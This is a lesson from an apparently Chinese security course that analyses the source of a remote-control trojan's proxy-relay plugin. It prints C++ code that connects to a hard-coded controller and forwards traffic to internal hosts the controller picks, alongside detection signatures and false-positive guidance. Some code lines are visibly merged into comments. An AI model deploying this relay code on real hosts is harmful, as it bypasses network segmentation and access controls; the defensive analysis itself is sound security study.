39 / 52 音视频、代理与系统扩展

第 39 课:主插件:代理映射

# 第 39 课:主插件:代理映射

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课围绕 主插件\代理映射 展开。这个模块和前面的视频、音频插件不同,它不直接采集本机隐私数据,而是把受控主机变成一个网络转发点:主控端下发连接目标,插件在受控主机上创socket 连接目标服务,再把两边的数据相互转发。 从企业安全工程角度看,这类能力非常敏感,因为它可能把原本只允许内网访问的服务暴露到外部控制链路中,削弱网络分段、ACL、堡垒机和零信任访问控制的效果。本课只从防御理解、检测和源码防御评估角度分析,不提供代理使用步骤。

# 1. 本课学习目标

读完本课,你应该能理解:

  1. 代理映射插件在整体工程中的角色?

  2. CProxyManager 如何管理连接、转发和关闭?

  3. COMMAND_PROXY_CONNECTCOMMAND_PROXY_DATATOKEN_PROXY_DATA 的职责?

  4. IP 连接和域名连接两条线程路径的差异?

  5. 为什么代理能力会影响企业内网分段和边界防护?

  6. 企业如何识别异常转发、长连接和内部服务访问风险。

# 2. 源码目录和文件

路径 作用
主插件\代理映射\代理映射.sln 代理映射插件解决方案
主插件\代理映射\代理映射\代理映射.cpp 插件入口、网络连接、管理器创建
主插件\代理映射\代理映射\ProxyManager.h 命令枚举、CProxyManager 声明、socket
主插件\代理映射\代理映射\ProxyManager.cpp 连接建立、域名解析、数据转发、连接关

依赖说明: 代理映射不依赖复杂第三方库,主要使用 WinSock 和项目统一的 HPSocket 通信层。WinSock 负责被控主机到目标服务的连接,HPSocket 负责主控链路上的命令和数据回传。代码注释中会把连接索引、目标地址、socket 映射和回token 写清楚,避免在正文单独列变量表。 2. 源码目录和文件(配图)

# 3. 模块角色:把主机变成网络中继。

代理映射模块的核心不是“本机数据采集”,而是“网络可达性扩展”。如果一台终端能访问内部数据库、管理端口或业务接口,而外部主控端不能直接访问,那么代理映射会让这台终端变成中间跳板。 企业防御需要关注四类问题:

问题 说明
可达性被扩大 外部控制链路借助内网主机访问内部服务
访问边界被绕开 原本需VPN、堡垒机、身份校验的路径可能被弱
流量归因困难 内部服务看到的来源可能是受控主机,而不是外部操作
长连接隐 转发流量可能混在普通外联连接里

# 4. 插件入口

// 源码位置:主插件\代理映射\代理映射\代理映射.cpp:8-44
// 防御分析注释:入口连接成功后创建 CProxyManager// 后续风险重点socket 转发、内部目标连接和双向数据回传struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("192.168.1.9"),
    6669,
    1,
    0,
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CProxyManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

入口代码告诉我们:代理映射不是一个独立网络服务,而是挂在主控连接里的插件能力。检测时不要只看有没有本地监听端口,更要看是否有异常出站连接和内部目标连接。

# 5. 关键结构和函数位置

文件 结构/函数 大致行号 作用
ProxyManager.h 命令枚举 5-15 定义连接、数据、关token
ProxyManager.h CProxyManager 22-39 保存 socket 表、线程数和发送接
ProxyManager.h SocksThreadArg 40-46 传递线程参
ProxyManager.cpp 构析构 13-50 初始化、发送启token、清socket
ProxyManager.cpp OnReceive 74-132 按命令创建连接、发送数据、关闭连
ProxyManager.cpp SocksThread 133-213 IP 建立目标连接并回传数据
ProxyManager.cpp SocksThreadhostname 216-306 按域名解析后连接并回传数据
ProxyManager.cpp GetSocket 311 以后 从连接表查找或删socket

# 6. 命令枚举Manager 状。

// 源码位置:主插件\代理映射\代理映射\ProxyManager.h:5-46
// 防御分析注释:命令设计体现了代理能力的三个动作:连接、传数据、关闭// 企业检测可以把这三类行为映射到 socket 创建、send/recv、连接生命周期enum
{
    TOKEN_PROXY_CONNECT_RESULT,
    TOKEN_PROXY_BIND_RESULT,
    TOKEN_PROXY_CLOSE,
    TOKEN_PROXY_DATA,
    COMMAND_PROXY_CLOSE,
    COMMAND_PROXY_CONNECT,
    COMMAND_PROXY_DATA,
    COMMAND_PROXY_CONNECT_HOSTNAME,
};

#define SAFE_TERMINATE(handle, times) \
    if (WaitForSingleObject(handle, times) != WAIT_OBJECT_0) \
        TerminateThread(handle, 0);

class CProxyManager : public CManager
{
public:
    BOOL m_buser;
    CProxyManager(ISocketBase* pClient);
    virtual ~CProxyManager();
    virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
    int Send(LPBYTE lpData, UINT nSize);
    void Disconnect(DWORD index);
    void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
    static unsigned __stdcall SocksThread(LPVOID lparam);
    static unsigned __stdcall SocksThreadhostname(LPVOID lparam);

    map<DWORD, SOCKET*> list;  // 连接索引socket 的映    CCriSec m_cs;
    int Threads;
};

struct SocksThreadArg
{
    CProxyManager* pThis;
    LPBYTE lpBuffer;
    int len;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

这段声明还暴露出一个代码质量风险:TerminateThread 是非常危险的线程终止方式,可能导致锁、堆内存、socket 状态无法正确释放。后续读实现时,应把它作为稳定性和资源泄露风险写进代码注释,而不是单独列成独立表格。

# 7. 构造和清理:发送启token,释socket

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:13-50
// 防御分析注释:构造函数发TOKEN_PROXY_START,析构时遍历 socket 表清理连接// 这说明模块内部维护了多条代理连接状态CProxyManager::CProxyManager(ISocketBase* pClient) : CManager(pClient)
{
    m_buser = TRUE;
    m_nSend = 0;
    Threads = 0;

    BYTE cmd = TOKEN_PROXY_START;
    Send(&cmd, 1);
}

CProxyManager::~CProxyManager()
{
    if (!m_buser) return;
    m_buser = FALSE;

    Sleep(1500);
    CCriSecLock locallock(m_cs);

    map<DWORD, SOCKET*>::iterator it_oneofserver = list.begin();
    while (it_oneofserver != list.end())
    {
        SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
        if (p_socket && *p_socket != INVALID_SOCKET)
        {
            closesocket(*p_socket);
            *p_socket = 0;
        }
        SAFE_DELETE(it_oneofserver->second);
        list.erase(it_oneofserver++);
    }

    while (Threads)
        Sleep(300);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# 8. 命令分发:连接、关闭、转发数。

8. 命令分发:连接、关闭、转发数。(配图)

OnReceive 是代理模块的入口。它把网络命令转成三类动作:

  1. 建立到目IP 的连接?

  2. 建立到目标域名的连接?

  3. 按连接索引转发数据或关闭连接。

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:74-132
// 防御分析注释:网络命令直接驱动本socket 访问目标服务// 关键风险是受控主机可能访问到主控端本来不可达的内部资产void CProxyManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
    if (!m_buser) return;

    switch (lpBuffer[0])
    {
    case COMMAND_PROXY_CONNECT:
    {
        SocksThreadArg arg;
        arg.pThis = this;
        arg.lpBuffer = lpBuffer;

        Threads++;
        CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));

        while (arg.lpBuffer)
            Sleep(2);
    }
    break;

    case COMMAND_PROXY_CONNECT_HOSTNAME:
    {
        SocksThreadArg arg;
        arg.pThis = this;
        arg.lpBuffer = lpBuffer;
        arg.len = nSize;

        Threads++;
        CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));

        while (arg.lpBuffer)
            Sleep(2);
    }
    break;

    case COMMAND_PROXY_CLOSE:
        GetSocket(*(DWORD*)&lpBuffer[1], TRUE);
        break;

    case COMMAND_PROXY_DATA:
    {
        DWORD index = *(DWORD*)&lpBuffer[1];
        SOCKET* s = GetSocket(index);
        if (!s) return;

        // 防御分析关注点:这里把主控端数据写入目标 socket        send(*s, (char*)&lpBuffer[5], nSize - 5, 0);
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

OnReceive 里还有一个线程参数传递风险:代码把栈上的 arg 地址传给新线程,再通过 while (arg.lpBuffer) Sleep(2) 等待线程复制参数。这个写法依赖时序,工程健壮性较弱。防御性代码改造时应使用堆对象、智能指针或线程安全队列。

# 9. IP 连接线程:建立目socket 并回传数。

9. IP 连接线程:建立目socket 并回传数。(配图)

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:133-213
// 防御分析注释:SocksThread 在受控主机上主动连接目标 IP// 然后select/recv 读取目标返回数据,再封装TOKEN_PROXY_DATA 回传unsigned CProxyManager::SocksThread(LPVOID lparam)
{
    SocksThreadArg* pArg = (SocksThreadArg*)lparam;
    CProxyManager* pThis = pArg->pThis;

    BYTE lpBuffer[11];
    memcpy(lpBuffer, pArg->lpBuffer, 11);
    pArg->lpBuffer = 0;

    DWORD index = *(DWORD*)&lpBuffer[1];
    DWORD ip = *(DWORD*)&lpBuffer[5];

    SOCKET* psock = new SOCKET;
    *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (*psock == SOCKET_ERROR)
    {
        pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
        SAFE_DELETE_AR(psock);
        pThis->Threads--;
        return 0;
    }

    sockaddr_in ClientAddr;
    ClientAddr.sin_family = AF_INET;
    ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
    ClientAddr.sin_addr.S_un.S_addr = ip;

    if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
    {
        pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
        SAFE_DELETE_AR(psock);
        pThis->Threads--;
        return 0;
    }

    pThis->list.insert(pair<DWORD, SOCKET*>(index, psock));
    pThis->SendConnectResult(lpBuffer, ClientAddr.sin_addr.S_un.S_addr, ClientAddr.sin_port);

    BYTE* buff = new BYTE[MAX_RECV_BUFFER];
    buff[0] = TOKEN_PROXY_DATA;
    memcpy(buff + 1, &index, 4);

    while (WaitForSingleObject(pThis->m_pClient->m_hEvent, 10) != WAIT_OBJECT_0)
    {
        // 防御分析关注点:select/recv 表示该线程持续监听目socket 返回数据        // 返回数据会通过主控连接回传,形成双向转发链路    }

    SAFE_DELETE_AR(buff);
    pThis->Threads--;
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

这段代码里,index 是连接标识。主控端后续发来的数据会按 index 找到对应 socket。防御侧可以把它理解为“同一条主控连接里复用多个内部目标连接”。

# 10. 域名连接线程:多gethostbyname

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp:216-306
// 防御分析注释:域名模式会gethostbyname,再连接解析出的地址// 网络侧应同时关注 DNS 查询和随后的内部目标连接unsigned CProxyManager::SocksThreadhostname(LPVOID lparam)
{
    SocksThreadArg* pArg = (SocksThreadArg*)lparam;
    CProxyManager* pThis = pArg->pThis;

    BYTE* lpBuffer = new BYTE[pArg->len];
    memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
    pArg->lpBuffer = 0;

    DWORD index = *(DWORD*)&lpBuffer[1];
    USHORT nPort = 0;
    memcpy(&nPort, lpBuffer + 5, 2);

    hostent* pHostent = gethostbyname((char*)lpBuffer + 7);
    if (!pHostent)
    {
        pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
        SAFE_DELETE_AR(lpBuffer);
        return 0;
    }

    SOCKET* psock = new SOCKET;
    *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    sockaddr_in ClientAddr;
    ClientAddr.sin_family = AF_INET;
    ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
    ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);

    if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
    {
        pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
        SAFE_DELETE_AR(lpBuffer);
        SAFE_DELETE_AR(psock);
        pThis->Threads--;
        return 0;
    }

    pThis->list.insert(pair<DWORD, SOCKET*>(index, psock));

    // 后续逻辑IP 模式类似:select/recv 目标 socket,并TOKEN_PROXY_DATA 回传    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

域名模式对检测更友好一些,因为 DNS 查询会留下额外线索。企业可以关联:同一进程先解析内部域名,再建立到内部服务端口的连接,同时还保持一条外部控制连接。

# 11. 网络分段风险

11. 网络分段风险(配图)

代理映射之所以危险,是因为它改变了访问路径。原本的安全设计可能是:

原设 被代理能力影响后的风
外部不能直接访问数据 受控终端能访问数据库时,外部可能借终端转
管理端口只允许运维网 被控主机若在允许网段内,可能成为中继
堡垒机记录管理员操作 代理转发可能让目标服务只看到终端 IP
内部 ACL 只看源地址 如果源地址是受控终端,ACL 可能放行
零信任要求设备态和身份 代理流量可能绕开应用层身份校

防御上要避免只做“南北向边界防护”。这类模块更考验东西向流量监控、终端出站控制和最小权限网络分段。

# 12. 企业检测点

12. 企业检测点(配图)

检测层 建议检测点
主机 非代理软件创建到多个内部目标TCP socket
网络 同一进程同时保持外部控制连接和内部服务连
DNS 异常进程解析内部域名或高价值资产域
连接行为 长连接、双向流、连接数与用户行为不匹配
资产 终端访问数据库、管理端口、运维端口等异常资产
出站 终端访问未授权公网地址后,又访问内部敏感服
权限 用户角色不应访问的网段和端口被访

# 13. 静态规则特

特征 说明
COMMAND_PROXY_CONNECT 连接目标 IP
COMMAND_PROXY_CONNECT_HOSTNAME 域名解析后连
TOKEN_PROXY_DATA 代理数据回传
map<DWORD, SOCKET*> 连接索引socket 的映
_beginthreadex + connect + select + recv 典型连接线程链路
gethostbyname 域名模式解析
TerminateThread 不安全线程终止方式,稳定性风

# 14. 误报来源

误报来源 排查方式
合法代理客户 是否是企业批准的软件,是否走统一代理认证
VPN 客户 是否处于企业允许VPN 连接状态
远程协助工具 是否有工单、用户确认和会话记录
数据同步工具 是否访问固定业务域名和端口
运维脚本 是否由受控发布系统触发,是否有变更记

# 15. 合法练习:

  1. 画出 COMMAND_PROXY_CONNECT -> SocksThread -> connect -> TOKEN_PROXY_CONNECT_RESULT 的时序图?

  2. 说明为什么代理映射会削弱只基于源 IP ACL?

  3. 设计一条检测逻辑:非代理软件同时连接公网控制端和内网数据库端口?

  4. 找出 OnReceive 中把栈对象传给线程的代码,并说明为什么它依赖时序?

  5. 列出三类可能误报的合法代理或远程协助软件,并说明排查依据。

# 16. 本课小结

代理映射模块的主线是:主控命令进入 CProxyManager,Manager 创建连接线程,受控主机主动连接目标服务,再把主控端数据和目标返回数据双向转发。 防御重点不在某个单独 API,而在访问路径被改变:外部控制连接、内部目socket、长连接双向流、敏感端口访问和资产权限不匹配。企业要用网络分段、出站控制、资产权限和终端行为关联来识别这类风险。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>